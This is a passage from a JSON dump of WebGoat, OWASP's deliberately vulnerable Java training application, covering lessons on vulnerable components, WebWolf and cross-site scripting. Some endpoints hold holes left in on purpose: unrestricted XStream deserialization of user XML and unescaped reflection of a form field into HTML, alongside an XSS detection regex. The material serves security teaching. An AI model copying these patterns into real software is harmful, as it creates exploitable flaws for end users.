    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.vulnerablecomponents;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class VulnerableComponents extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A6;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"vulnerable-components.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponentsLesson.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.vulnerablecomponents;\n\nimport com.thoughtworks.xstream.XStream;\nimport org.apache.commons.lang3.StringUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\"vulnerable.hint\"})\npublic class VulnerableComponentsLesson extends AssignmentEndpoint {\n\n  @PostMapping(\"/VulnerableComponents/attack1\")\n  public @ResponseBody AttackResult completed(@RequestParam String payload) {\n    XStream xstream = new XStream();\n    xstream.setClassLoader(Contact.class.getClassLoader());\n    xstream.alias(\"contact\", ContactImpl.class);\n    xstream.ignoreUnknownElements();\n    Contact contact = null;\n\n    try {\n      if (!StringUtils.isEmpty(payload)) {\n        payload =\n            payload\n                .replace(\"+\", \"\")\n                .replace(\"\\r\", \"\")\n                .replace(\"\\n\", \"\")\n                .replace(\"> \", \">\")\n                .replace(\" <\", \"<\");\n      }\n      contact = (Contact) xstream.fromXML(payload);\n    } catch (Exception ex) {\n      return failed(this).feedback(\"vulnerable-components.close\").output(ex.getMessage()).build();\n    }\n\n    try {\n      if (null != contact) {\n        contact.getFirstName(); // trigger the example like\n        // https://x-stream.github.io/CVE-2013-7285.html\n      }\n      if (!(contact instanceof ContactImpl)) {\n        return success(this).feedback(\"vulnerable-components.success\").build();\n      }\n    } catch (Exception e) {\n      return success(this).feedback(\"vulnerable-components.success\").output(e.getMessage()).build();\n    }\n    return failed(this).feedback(\"vulnerable-components.fromXML\").feedbackArgs(contact).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/webgoatintroduction/WebGoatIntroduction.java",
    "content": "package org.owasp.webgoat.lessons.webgoatintroduction;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since October 12, 2016\n */\n@Component\npublic class WebGoatIntroduction extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.INTRODUCTION;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"webgoat.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/Email.java",
    "content": "package org.owasp.webgoat.lessons.webwolfintroduction;\n\nimport java.io.Serializable;\nimport lombok.Builder;\nimport lombok.Data;\n\n@Builder\n@Data\npublic class Email implements Serializable {\n\n  private String contents;\n  private String sender;\n  private String title;\n  private String recipient;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/LandingAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.webwolfintroduction;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\nimport javax.servlet.http.HttpServletRequest;\nimport org.apache.commons.lang3.StringUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.servlet.ModelAndView;\n\n/**\n * @author nbaars\n * @since 8/20/17.\n */\n@RestController\npublic class LandingAssignment extends AssignmentEndpoint {\n\n  @Value(\"${webwolf.landingpage.url}\")\n  private String landingPageUrl;\n\n  @PostMapping(\"/WebWolf/landing\")\n  @ResponseBody\n  public AttackResult click(String uniqueCode) {\n    if (StringUtils.reverse(getWebSession().getUserName()).equals(uniqueCode)) {\n      return success(this).build();\n    }\n    return failed(this).feedback(\"webwolf.landing_wrong\").build();\n  }\n\n  @GetMapping(\"/WebWolf/landing/password-reset\")\n  public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException {\n    URI uri = new URI(request.getRequestURL().toString());\n    ModelAndView modelAndView = new ModelAndView();\n    modelAndView.addObject(\"webwolfUrl\", landingPageUrl);\n    modelAndView.addObject(\"uniqueCode\", StringUtils.reverse(getWebSession().getUserName()));\n\n    modelAndView.setViewName(\"lessons/webwolfintroduction/templates/webwolfPasswordReset.html\");\n    return modelAndView;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/MailAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.webwolfintroduction;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.client.RestClientException;\nimport org.springframework.web.client.RestTemplate;\n\n/**\n * @author nbaars\n * @since 8/20/17.\n */\n@RestController\npublic class MailAssignment extends AssignmentEndpoint {\n\n  private final String webWolfURL;\n  private RestTemplate restTemplate;\n\n  public MailAssignment(\n      RestTemplate restTemplate, @Value(\"${webwolf.mail.url}\") String webWolfURL) {\n    this.restTemplate = restTemplate;\n    this.webWolfURL = webWolfURL;\n  }\n\n  @PostMapping(\"/WebWolf/mail/send\")\n  @ResponseBody\n  public AttackResult sendEmail(@RequestParam String email) {\n    String username = email.substring(0, email.indexOf(\"@\"));\n    if (username.equalsIgnoreCase(getWebSession().getUserName())) {\n      Email mailEvent =\n          Email.builder()\n              .recipient(username)\n              .title(\"Test messages from WebWolf\")\n              .contents(\n                  \"This is a test message from WebWolf, your unique code is: \"\n                      + StringUtils.reverse(username))\n              .sender(\"webgoat@owasp.org\")\n              .build();\n      try {\n        restTemplate.postForEntity(webWolfURL, mailEvent, Object.class);\n      } catch (RestClientException e) {\n        return informationMessage(this)\n            .feedback(\"webwolf.email_failed\")\n            .output(e.getMessage())\n            .build();\n      }\n      return informationMessage(this).feedback(\"webwolf.email_send\").feedbackArgs(email).build();\n    } else {\n      return informationMessage(this)\n          .feedback(\"webwolf.email_mismatch\")\n          .feedbackArgs(username)\n          .build();\n    }\n  }\n\n  @PostMapping(\"/WebWolf/mail\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String uniqueCode) {\n    if (uniqueCode.equals(StringUtils.reverse(getWebSession().getUserName()))) {\n      return success(this).build();\n    } else {\n      return failed(this).feedbackArgs(\"webwolf.code_incorrect\").feedbackArgs(uniqueCode).build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/WebWolfIntroduction.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.webwolfintroduction;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class WebWolfIntroduction extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.INTRODUCTION;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"webwolf.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/Comment.java",
    "content": "package org.owasp.webgoat.lessons.xss;\n\nimport javax.xml.bind.annotation.XmlRootElement;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport lombok.NoArgsConstructor;\nimport lombok.Setter;\n\n/**\n * @author nbaars\n * @since 4/8/17.\n */\n@Getter\n@Setter\n@AllArgsConstructor\n@NoArgsConstructor\n@XmlRootElement\npublic class Comment {\n  private String user;\n  private String dateTime;\n  private String text;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScripting.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class CrossSiteScripting extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A3;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"xss.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson1.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class CrossSiteScriptingLesson1 extends AssignmentEndpoint {\n\n  @PostMapping(\"/CrossSiteScripting/attack1\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam(value = \"checkboxAttack1\", required = false) String checkboxValue) {\n    if (checkboxValue != null) {\n      return success(this).build();\n    } else {\n      return failed(this).feedback(\"xss.lesson1.failure\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson3.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n// @RestController\n@Deprecated\n// TODO This assignment seems not to be in use in the UI\n// it is there to make sure the lesson can be marked complete\n// in order to restore it, make it accessible through the UI and uncomment RestController\n@AssignmentHints(\n    value = {\n      \"xss-mitigation-3-hint1\",\n      \"xss-mitigation-3-hint2\",\n      \"xss-mitigation-3-hint3\",\n      \"xss-mitigation-3-hint4\"\n    })\npublic class CrossSiteScriptingLesson3 extends AssignmentEndpoint {\n\n  @PostMapping(\"/CrossSiteScripting/attack3\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String editor) {\n    String unescapedString = org.jsoup.parser.Parser.unescapeEntities(editor, true);\n    try {\n      if (editor.isEmpty()) return failed(this).feedback(\"xss-mitigation-3-no-code\").build();\n      Document doc = Jsoup.parse(unescapedString);\n      String[] lines = unescapedString.split(\"<html>\");\n\n      String include = (lines[0]);\n      String fistNameElement =\n          doc.select(\"body > table > tbody > tr:nth-child(1) > td:nth-child(2)\").first().text();\n      String lastNameElement =\n          doc.select(\"body > table > tbody > tr:nth-child(2) > td:nth-child(2)\").first().text();\n\n      Boolean includeCorrect = false;\n      Boolean firstNameCorrect = false;\n      Boolean lastNameCorrect = false;\n\n      if (include.contains(\"<%@\")\n          && include.contains(\"taglib\")\n          && include.contains(\"uri=\\\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\\\"\")\n          && include.contains(\"%>\")) {\n        includeCorrect = true;\n      }\n      if (fistNameElement.equals(\"${e:forHtml(param.first_name)}\")) {\n        firstNameCorrect = true;\n      }\n      if (lastNameElement.equals(\"${e:forHtml(param.last_name)}\")) {\n        lastNameCorrect = true;\n      }\n\n      if (includeCorrect && firstNameCorrect && lastNameCorrect) {\n        return success(this).feedback(\"xss-mitigation-3-success\").build();\n      } else {\n        return failed(this).feedback(\"xss-mitigation-3-failure\").build();\n      }\n    } catch (Exception e) {\n      return failed(this).output(e.getMessage()).build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson4.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n// @RestController\n@Deprecated\n// TODO This assignment seems not to be in use in the UI\n// it is there to make sure the lesson can be marked complete\n// in order to restore it, make it accessible through the UI and uncomment RestController@Slf4j\n@Slf4j\n@AssignmentHints(value = {\"xss-mitigation-4-hint1\"})\npublic class CrossSiteScriptingLesson4 extends AssignmentEndpoint {\n\n  @PostMapping(\"/CrossSiteScripting/attack4\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String editor2) {\n\n    String editor = editor2.replaceAll(\"\\\\<.*?>\", \"\");\n    log.debug(editor);\n\n    if ((editor.contains(\"Policy.getInstance(\\\"antisamy-slashdot.xml\\\"\")\n            || editor.contains(\".scan(newComment, \\\"antisamy-slashdot.xml\\\"\")\n            || editor.contains(\".scan(newComment, new File(\\\"antisamy-slashdot.xml\\\")\"))\n        && editor.contains(\"new AntiSamy();\")\n        && editor.contains(\".scan(newComment,\")\n        && editor.contains(\"CleanResults\")\n        && editor.contains(\"MyCommentDAO.addComment(threadID, userID\")\n        && editor.contains(\".getCleanHTML());\")) {\n      log.debug(\"true\");\n      return success(this).feedback(\"xss-mitigation-4-success\").build();\n    } else {\n      log.debug(\"false\");\n      return failed(this).feedback(\"xss-mitigation-4-failed\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson5a.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss;\n\nimport java.util.function.Predicate;\nimport java.util.regex.Pattern;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"xss-reflected-5a-hint-1\",\n      \"xss-reflected-5a-hint-2\",\n      \"xss-reflected-5a-hint-3\",\n      \"xss-reflected-5a-hint-4\"\n    })\npublic class CrossSiteScriptingLesson5a extends AssignmentEndpoint {\n\n  public static final Predicate<String> XSS_PATTERN =\n      Pattern.compile(\n              \".*<script>(console\\\\.log|alert)\\\\(.*\\\\);?</script>.*\", Pattern.CASE_INSENSITIVE)\n          .asMatchPredicate();\n  @Autowired UserSessionData userSessionData;\n\n  @GetMapping(\"/CrossSiteScripting/attack5a\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam Integer QTY1,\n      @RequestParam Integer QTY2,\n      @RequestParam Integer QTY3,\n      @RequestParam Integer QTY4,\n      @RequestParam String field1,\n      @RequestParam String field2) {\n\n    if (XSS_PATTERN.test(field2)) {\n      return failed(this).feedback(\"xss-reflected-5a-failed-wrong-field\").build();\n    }\n\n    double totalSale =\n        QTY1.intValue() * 69.99\n            + QTY2.intValue() * 27.99\n            + QTY3.intValue() * 1599.99\n            + QTY4.intValue() * 299.99;\n\n    userSessionData.setValue(\"xss-reflected1-complete\", \"false\");\n    StringBuilder cart = new StringBuilder();\n    cart.append(\"Thank you for shopping at WebGoat. <br />Your support is appreciated<hr />\");\n    cart.append(\"<p>We have charged credit card:\" + field1 + \"<br />\");\n    cart.append(\"                             ------------------- <br />\");\n    cart.append(\"                               $\" + totalSale);\n\n    // init state\n    if (userSessionData.getValue(\"xss-reflected1-complete\") == null) {\n      userSessionData.setValue(\"xss-reflected1-complete\", \"false\");\n    }\n\n    if (XSS_PATTERN.test(field1)) {\n      userSessionData.setValue(\"xss-reflected-5a-complete\", \"true\");\n      if (field1.toLowerCase().contains(\"console.log\")) {\n        return success(this)\n            .feedback(\"xss-reflected-5a-success-console\")\n            .output(cart.toString())\n            .build();\n      } else {\n        return success(this)\n            .feedback(\"xss-reflected-5a-success-alert\")\n            .output(cart.toString())\n            .build();\n      }\n    } else {\n      userSessionData.setValue(\"xss-reflected1-complete\", \"false\");\n      return failed(this).feedback(\"xss-reflected-5a-failure\").output(cart.toString()).build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson6a.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"xss-reflected-6a-hint-1\",\n      \"xss-reflected-6a-hint-2\",\n      \"xss-reflected-6a-hint-3\",\n      \"xss-reflected-6a-hint-4\"\n    })\npublic class CrossSiteScriptingLesson6a extends AssignmentEndpoint {\n  @Autowired UserSessionData userSessionData;\n\n  @PostMapping(\"/CrossSiteScripting/attack6a\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String DOMTestRoute) {\n\n    if (DOMTestRoute.matches(\"start\\\\.mvc#test(\\\\/|)\")) {\n      // return )\n      return success(this).feedback(\"xss-reflected-6a-success\").build();\n    } else {\n      return failed(this).feedback(\"xss-reflected-6a-failure\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingMitigation.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\n\npublic class CrossSiteScriptingMitigation extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A3;\n  }\n\n  @Override\n  public String getTitle() 